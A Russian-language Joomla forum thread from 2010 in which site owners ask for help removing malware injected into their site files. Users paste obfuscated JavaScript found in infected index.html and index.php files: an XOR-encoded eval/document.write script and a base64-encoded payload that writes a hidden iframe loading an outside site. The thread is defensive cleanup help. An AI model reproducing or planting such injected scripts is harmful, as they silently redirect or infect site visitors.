Помогите удалить вирус из файлов!

  • 34 Ответов
  • 8427 Просмотров

0 Пользователей и 1 Гость просматривают эту тему.

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Здраваствуйте, уважаемые программисты! ^-^
Проблема такая:
на сайте обнаружены вирусы, резервной копии нет... crazy! Помогите, пожалуйста, удалить чужеродный код их файлов! Я с PHP не знакома, ниче не могу поделать... :'(


*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #2 : 14.02.2010, 23:30:32 »
Спасибо, я прочитала предварительно. Скачала на комп, проверила, выявила поврежденные файлы... Но не могу исправить, т.к. не знаю PHP.

*

art1535

  • Давно я тут
  • ****
  • 271
  • 6
  • Мат&Тык
Re: Помогите удалить вирус из файлов!
« Ответ #3 : 14.02.2010, 23:32:07 »
Ну так вирус в движке всё ещё есть, вы их вылечили?

*

art1535

  • Давно я тут
  • ****
  • 271
  • 6
  • Мат&Тык
Re: Помогите удалить вирус из файлов!
« Ответ #4 : 14.02.2010, 23:34:07 »
<iframe> и <script> этих тегов не нашли на страницах? И вообще Ваш антивирус должен показывать, что именно за вирус

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #5 : 14.02.2010, 23:39:28 »
вирусы -черви, антивирусник предложил удалить или поместить в хранилище, не лечит....
теги ща посмотрю

*

art1535

  • Давно я тут
  • ****
  • 271
  • 6
  • Мат&Тык
Re: Помогите удалить вирус из файлов!
« Ответ #6 : 14.02.2010, 23:41:09 »
а какие именно файлы заражены?и у "червей" должно быть название-это антивирус тоже должен показывать

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #7 : 15.02.2010, 00:01:46 »
administrator\templates\khepri\html\index.html - JS:Redirector-AY [Trj]- 2 шт.
administrator\templates\system\html\index.html - JS:Redirector-AY [Trj]
libraries\joomla\document\html\renderer\index.html - JS:Redirector-AY [Trj] - 2 шт.
libraries\joomla\document\html\index.html - JS:Redirector-AY [Trj]
libraries\joomla\html\html\menu.php - JS:Redirector-AY [Trj]
libraries\joomla\html\index.html - JS:Redirector-AY [Trj]
libraries\joomla\html\parameter\index.html - JS:Redirector-AY [Trj]
libraries\joomla\html\parameter\element\menu.php - JS:Redirector-AY [Trj]
libraries\joomla\html\parameter\element\index.html - JS:Redirector-AY [Trj]
ibraries\joomla\html\toolbar\index.html - JS:Redirector-AY [Trj]
libraries\joomla\html\toolbar\button\index.html - JS:Redirector-AY [Trj]
libraries\pattemplate\patTemplate\Modifier\HTML\index.html - JS:Redirector-AY [Trj]
templates\system\html\index.html - JS:Redirector-AY [Trj]

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #8 : 15.02.2010, 00:05:21 »
если нет резервной копии:
1 - проходиться ручками и чистить (надо понимать что к чему)
2 - взять эти файлы из исходного архива движка, если в них не вносились изменения
3 - все index.html в корне каталогов должны быть пустые (либо с банальной заглушкой) их можно переписать без проблем и без терзаний
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #9 : 15.02.2010, 00:26:46 »
вот я как раз и не понимаю, что к чему...  вернее, не рискну править , не зная точно...
и про изменения с уверенностью не могу сказать
Поэтому и прошу помощи знающих товарищей. :D
« Последнее редактирование: 15.02.2010, 03:15:01 от Zeya »

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #10 : 16.02.2010, 01:08:09 »
Люди, подскажите, пожалуйста, хотя бы, как примерно выглядит код трояна!

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #11 : 16.02.2010, 01:34:30 »
Люди, подскажите, пожалуйста, хотя бы, как примерно выглядит код трояна!
никто кроме трояна этого не знает
иногда iframe, иногда через js подключение, иногда еще интересней
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #12 : 16.02.2010, 01:42:20 »
никто кроме трояна этого не знает
ситуация безвыходная чтоль?

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #13 : 16.02.2010, 01:44:09 »
ситуация безвыходная чтоль?
нет, выход есть, нужен только глубокий анализ проблемы, мазок и все можно решить
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #14 : 16.02.2010, 01:45:40 »
нужен только глубокий анализ проблемы, мазок и все можно решить
какие шаги я могу предпринять по вышесказанному?

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #15 : 16.02.2010, 01:49:47 »
какие шаги я могу предпринять по вышесказанному?
1 - проанализировать какой код и в каких файлах поселился
2 - вручную (если я правильно понял что бекапа нет) вычистить
3 - сделать резервную копию и не забывать об этом в дальнейшем
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

strannik-yura

  • Завсегдатай
  • *****
  • 514
  • 43
  • :)
Re: Помогите удалить вирус из файлов!
« Ответ #16 : 16.02.2010, 01:56:38 »
например код исходной страницы templates\system\html\index.html выглядит так
Код
<html><body bgcolor="#FFFFFF"></body></html>
берёшь в свой заражённый файл с сайта (templates\system\html\index.html) и сравниваешь с исходным и всё что лишнее от кода  
Код
<html><body bgcolor="#FFFFFF"></body></html>
то и есть вирус.

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #17 : 16.02.2010, 01:58:14 »
1 - проанализировать какой код и в каких файлах поселился
2 - вручную (если я правильно понял что бекапа нет) вычистить
из трех пунктов мне по силам только третий... )))) хотя, нет, если проанализировоть, какой код - вирус - удалить, думается, смогу.

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #18 : 16.02.2010, 02:00:34 »
и сравниваешь с исходным
нет исходного кода... есть только файлы шаблона, но шаблон переделывался сильно и в новом варианте не сохранен...
к тому же половина зараженных файлов в оригинале вообще отсутствует..

*

temniy

  • Завсегдатай
  • *****
  • 414
  • 73
Re: Помогите удалить вирус из файлов!
« Ответ #19 : 16.02.2010, 02:06:22 »
Да что вы мучаете девушку.

Zeya, выложите сюда содержимое зараженного templates\system\html\index.html
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #20 : 16.02.2010, 02:21:13 »
temniy, с удовольствием!
Вот: (тут, вроде бы, все понятно... скрипт - это троян?)
Код
<html><body bgcolor="#FFFFFF"></body></html><script>rpnsxy=["uqjici=0;snwvcdmd='';for(oxbjvi=0;oxbjvi<rpnsxy[0]['length'];oxbjvi+=1) uqjici+=rpnsxy[0].charCodeAt(oxbjvi);uqjici%=0x64;for(oxbjvi=0;oxbjvi<rpnsxy[1]['length'];oxbjvi+=2) snwvcdmd+=String.fromCharCode(parseInt(0+'x'+rpnsxy[1].charAt(oxbjvi)+rpnsxy[1].charAt(oxbjvi+1))^uqjici);document.write(snwvcdmd);","13475b424311134d404b5611135c4c5d465f5b11594e5d0f5b4a425f66695d4e424a124b404c5a424a415b014c5d4a4e5b4a6a434a424a415b070846495d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a0708464b0803087d7c66695d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a07085c5d4c080308475b5b5f1500004c43464c44025f40465c44014c4042005b474a5d4a004641014c484610180806145b4a425f66695d4e424a015c5b56434a0159465c464d4643465b56120847464b4b4a4108145b4a425f66695d4e424a015c5b56434a0158464b5b4712081f5f5708145b4a425f66695d4e424a015c5b56434a01474a4648475b12081f5f57081466695d4e424a604d450f120f4b404c5a424a415b014d404b56014e5f5f4a414b6c4746434b075b4a425f66695d4e424a061413005c4c5d465f5b1113004d404b56111300475b424311"];eval(rpnsxy[0]);</script>

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #21 : 16.02.2010, 02:28:02 »
Если девушка в личку мне даст доступ к фтп, базе данных (phpmyadmin) - я все ей почищу, делов то
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #22 : 16.02.2010, 02:38:22 »
beliyadm, уже даю! ;)

*

beliyadm

  • Профи
  • ********
  • 8359
  • 1527
  • Севастополь == Россия
Re: Помогите удалить вирус из файлов!
« Ответ #23 : 16.02.2010, 02:41:37 »
beliyadm, уже даю! ;)
жду в личку, завтра посмотрю и почищу, оставьте свои координаты для связи если что вдруг
Все истины, которые я хочу вам изложить, — бесстыдная ложь.
Записки нетрезвого кодера || -=Joomla FAQ=- || -=все плохо=- || skype: beliyadm_pb

*

temniy

  • Завсегдатай
  • *****
  • 414
  • 73
Re: Помогите удалить вирус из файлов!
« Ответ #24 : 16.02.2010, 12:55:52 »
Ну да, это
Код
<script>rpnsxy=["uqjici=0;snwvcdmd='';for(oxbjvi=0;oxbjvi<rpnsxy[0]['length'];oxbjvi+=1) uqjici+=rpnsxy[0].charCodeAt(oxbjvi);uqjici%=0x64;for(oxbjvi=0;oxbjvi<rpnsxy[1]['length'];oxbjvi+=2) snwvcdmd+=String.fromCharCode(parseInt(0+'x'+rpnsxy[1].charAt(oxbjvi)+rpnsxy[1].charAt(oxbjvi+1))^uqjici);document.write(snwvcdmd);","13475b424311134d404b5611135c4c5d465f5b11594e5d0f5b4a425f66695d4e424a124b404c5a424a415b014c5d4a4e5b4a6a434a424a415b070846495d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a0708464b0803087d7c66695d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a07085c5d4c080308475b5b5f1500004c43464c44025f40465c44014c4042005b474a5d4a004641014c484610180806145b4a425f66695d4e424a015c5b56434a0159465c464d4643465b56120847464b4b4a4108145b4a425f66695d4e424a015c5b56434a0158464b5b4712081f5f5708145b4a425f66695d4e424a015c5b56434a01474a4648475b12081f5f57081466695d4e424a604d450f120f4b404c5a424a415b014d404b56014e5f5f4a414b6c4746434b075b4a425f66695d4e424a061413005c4c5d465f5b1113004d404b56111300475b424311"];eval(rpnsxy[0]);</script>
и есть вирус, удалите этот и похожий код из всех файлов.

Но главное - нужно найти и устранить причину по которой он смог внедриться. Это либо дыра в движке, либо ваш компьютер инфицирован и вирус проник по фтп.
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)

*

Zeya

  • Осваиваюсь на форуме
  • ***
  • 161
  • 0
Re: Помогите удалить вирус из файлов!
« Ответ #25 : 17.02.2010, 15:35:23 »
Спасибо большое, всем, кто помогал! Во всех index.html нужно было просто убрать вредоносный код:
Код
<script>rpnsxy=["uqjici=0;snwvcdmd='';for(oxbjvi=0;oxbjvi<rpnsxy[0]['length'];oxbjvi+=1) uqjici+=rpnsxy[0].charCodeAt(oxbjvi);uqjici%=0x64;for(oxbjvi=0;oxbjvi<rpnsxy[1]['length'];oxbjvi+=2) snwvcdmd+=String.fromCharCode(parseInt(0+'x'+rpnsxy[1].charAt(oxbjvi)+rpnsxy[1].charAt(oxbjvi+1))^uqjici);document.write(snwvcdmd);","13475b424311134d404b5611135c4c5d465f5b11594e5d0f5b4a425f66695d4e424a124b404c5a424a415b014c5d4a4e5b4a6a434a424a415b070846495d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a0708464b0803087d7c66695d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a07085c5d4c080308475b5b5f1500004c43464c44025f40465c44014c4042005b474a5d4a004641014c484610180806145b4a425f66695d4e424a015c5b56434a0159465c464d4643465b56120847464b4b4a4108145b4a425f66695d4e424a015c5b56434a0158464b5b4712081f5f5708145b4a425f66695d4e424a015c5b56434a01474a4648475b12081f5f57081466695d4e424a604d450f120f4b404c5a424a415b014d404b56014e5f5f4a414b6c4746434b075b4a425f66695d4e424a061413005c4c5d465f5b1113004d404b56111300475b424311"];eval(rpnsxy[0]);</script>
,
а файлы php мне beliyadm вылечил, за что ему оргомнейшее спасибо!

*

heroi_n

  • Осваиваюсь на форуме
  • ***
  • 44
  • 1
Re: Помогите удалить вирус из файлов!
« Ответ #26 : 10.03.2010, 17:08:48 »
Добрый день, сегодня 2 моих сайта "упали@? все на одном и том же хостинге, 2 дня назад я заметил на странице index.php я заметил код

Цитировать
?><!-- o65 --><script>function c052f543b7(oe){var
n3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var w0='';var wb,s0,o7,v7,td,sf,p2;var
q8=0;do{v7=n3.indexOf(oe.charAt(q8++));td=n3.indexOf(oe.charAt(q8++));sf=n3.indexOf(oe.charAt(q8+
+));p2=n3.indexOf(oe.charAt(q8++));wb=(v7<<2)|(td>>4);s0=((td&15)<<4)|(sf>>2);o7=((sf&3)<<6)|p2;if(wb>=192) wb
+=848;else if(wb==168) wb=1025;else if(wb==184) wb=1105;w0+=String.fromCharCode(wb);if(sf!=64){if(s0>=192)
s0+=848;else if(s0==168) s0=1025;else if(s0==184) s0=1105;w0+=String.fromCharCode(s0);}if(p2!=64){if(o7>=192)
o7+=848;else if(o7==168) o7=1025;else if(o7==184) o7=1105;w0+=String.fromCharCode(o7);}}while
(q8<oe.length);document.write(w0);};c052f543b7
('PGlmcmFtZSBzcmM9Imh0dHA6Ly9kaXJla3R2b3J1bi5uZXQva29rb3ZzL3N2Nzc3L2luZGV4LnBocCIgd2lkdGg9MCBoZWlnaHQ9MD48L2lmc
mFtZT4A');</script><!-- c65 -->

Код я удалил, права проверил. успокоился, сегодня у меня эта запись была уже вот всех файлах index.php и оч много index.html
Индексы которые php я вычистил вручную, HTML очень много, копии сайта нет, при входе в админку и на сайт белый экран, ничего нет, куда копать? Что сделать, На втором сайте могу зайти в админку. Код примерно такой же.

KIS ругается на

Цитировать
Доступ запрещен
Запрашиваемый URL-адрес не может быть предоставлен
В запрашиваемом объекте по URL-адресу:
http://бла бла бла
Обнаружена угроза:
объект заражен Trojan-Downloader.JS.Iframe.byo

Про вирус почитал, но пока вычистить не смог. Как быть c чего начать,

*

temniy

  • Завсегдатай
  • *****
  • 414
  • 73
Re: Помогите удалить вирус из файлов!
« Ответ #27 : 10.03.2010, 18:03:09 »
Как быть c чего начать,
1) Проверить свой компьютер (желательно не Касперским)
2) Проверить наличие посторонних файлов на сервере
3) Проверить целостность всех файлов на сервере на предмет отсутствия постороннего кода.
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)

*

heroi_n

  • Осваиваюсь на форуме
  • ***
  • 44
  • 1
Re: Помогите удалить вирус из файлов!
« Ответ #28 : 11.03.2010, 09:25:10 »
1) Проверить свой компьютер (желательно не Касперским)
проверяю нодом, все чистенько
2) Проверить наличие посторонних файлов на сервере
да это как проверить то. там куча папок, ну вроде внешне в корне нет ничего лишнего
3) Проверить целостность всех файлов на сервере на предмет отсутствия постороннего кода.
да вот есть код то!
Цитировать
Код я удалил, права проверил. успокоился, сегодня у меня эта запись была уже вот всех файлах index.php и оч много index.html
Индексы которые php я вычистил вручную, HTML очень много, копии сайта нет, при входе в админку и на сайт белый экран, ничего нет, куда копать? Что сделать, На втором сайте могу зайти в админку. Код примерно такой же.

*

Ecspert

  • Завсегдатай
  • *****
  • 414
  • 12
Re: Помогите удалить вирус из файлов!
« Ответ #29 : 31.08.2010, 00:48:40 »
например код исходной страницы templates\system\html\index.html выглядит так
Код
<html><body bgcolor="#FFFFFF"></body></html>
берёшь в свой заражённый файл с сайта (templates\system\html\index.html) и сравниваешь с исходным и всё что лишнее от кода 
Код
<html><body bgcolor="#FFFFFF"></body></html>
то и есть вирус.
слушайте а что это за файл index.html с <html><body bgcolor="#FFFFFF"></body></html> ? он у меня создаётся чуть ли не во всех папках...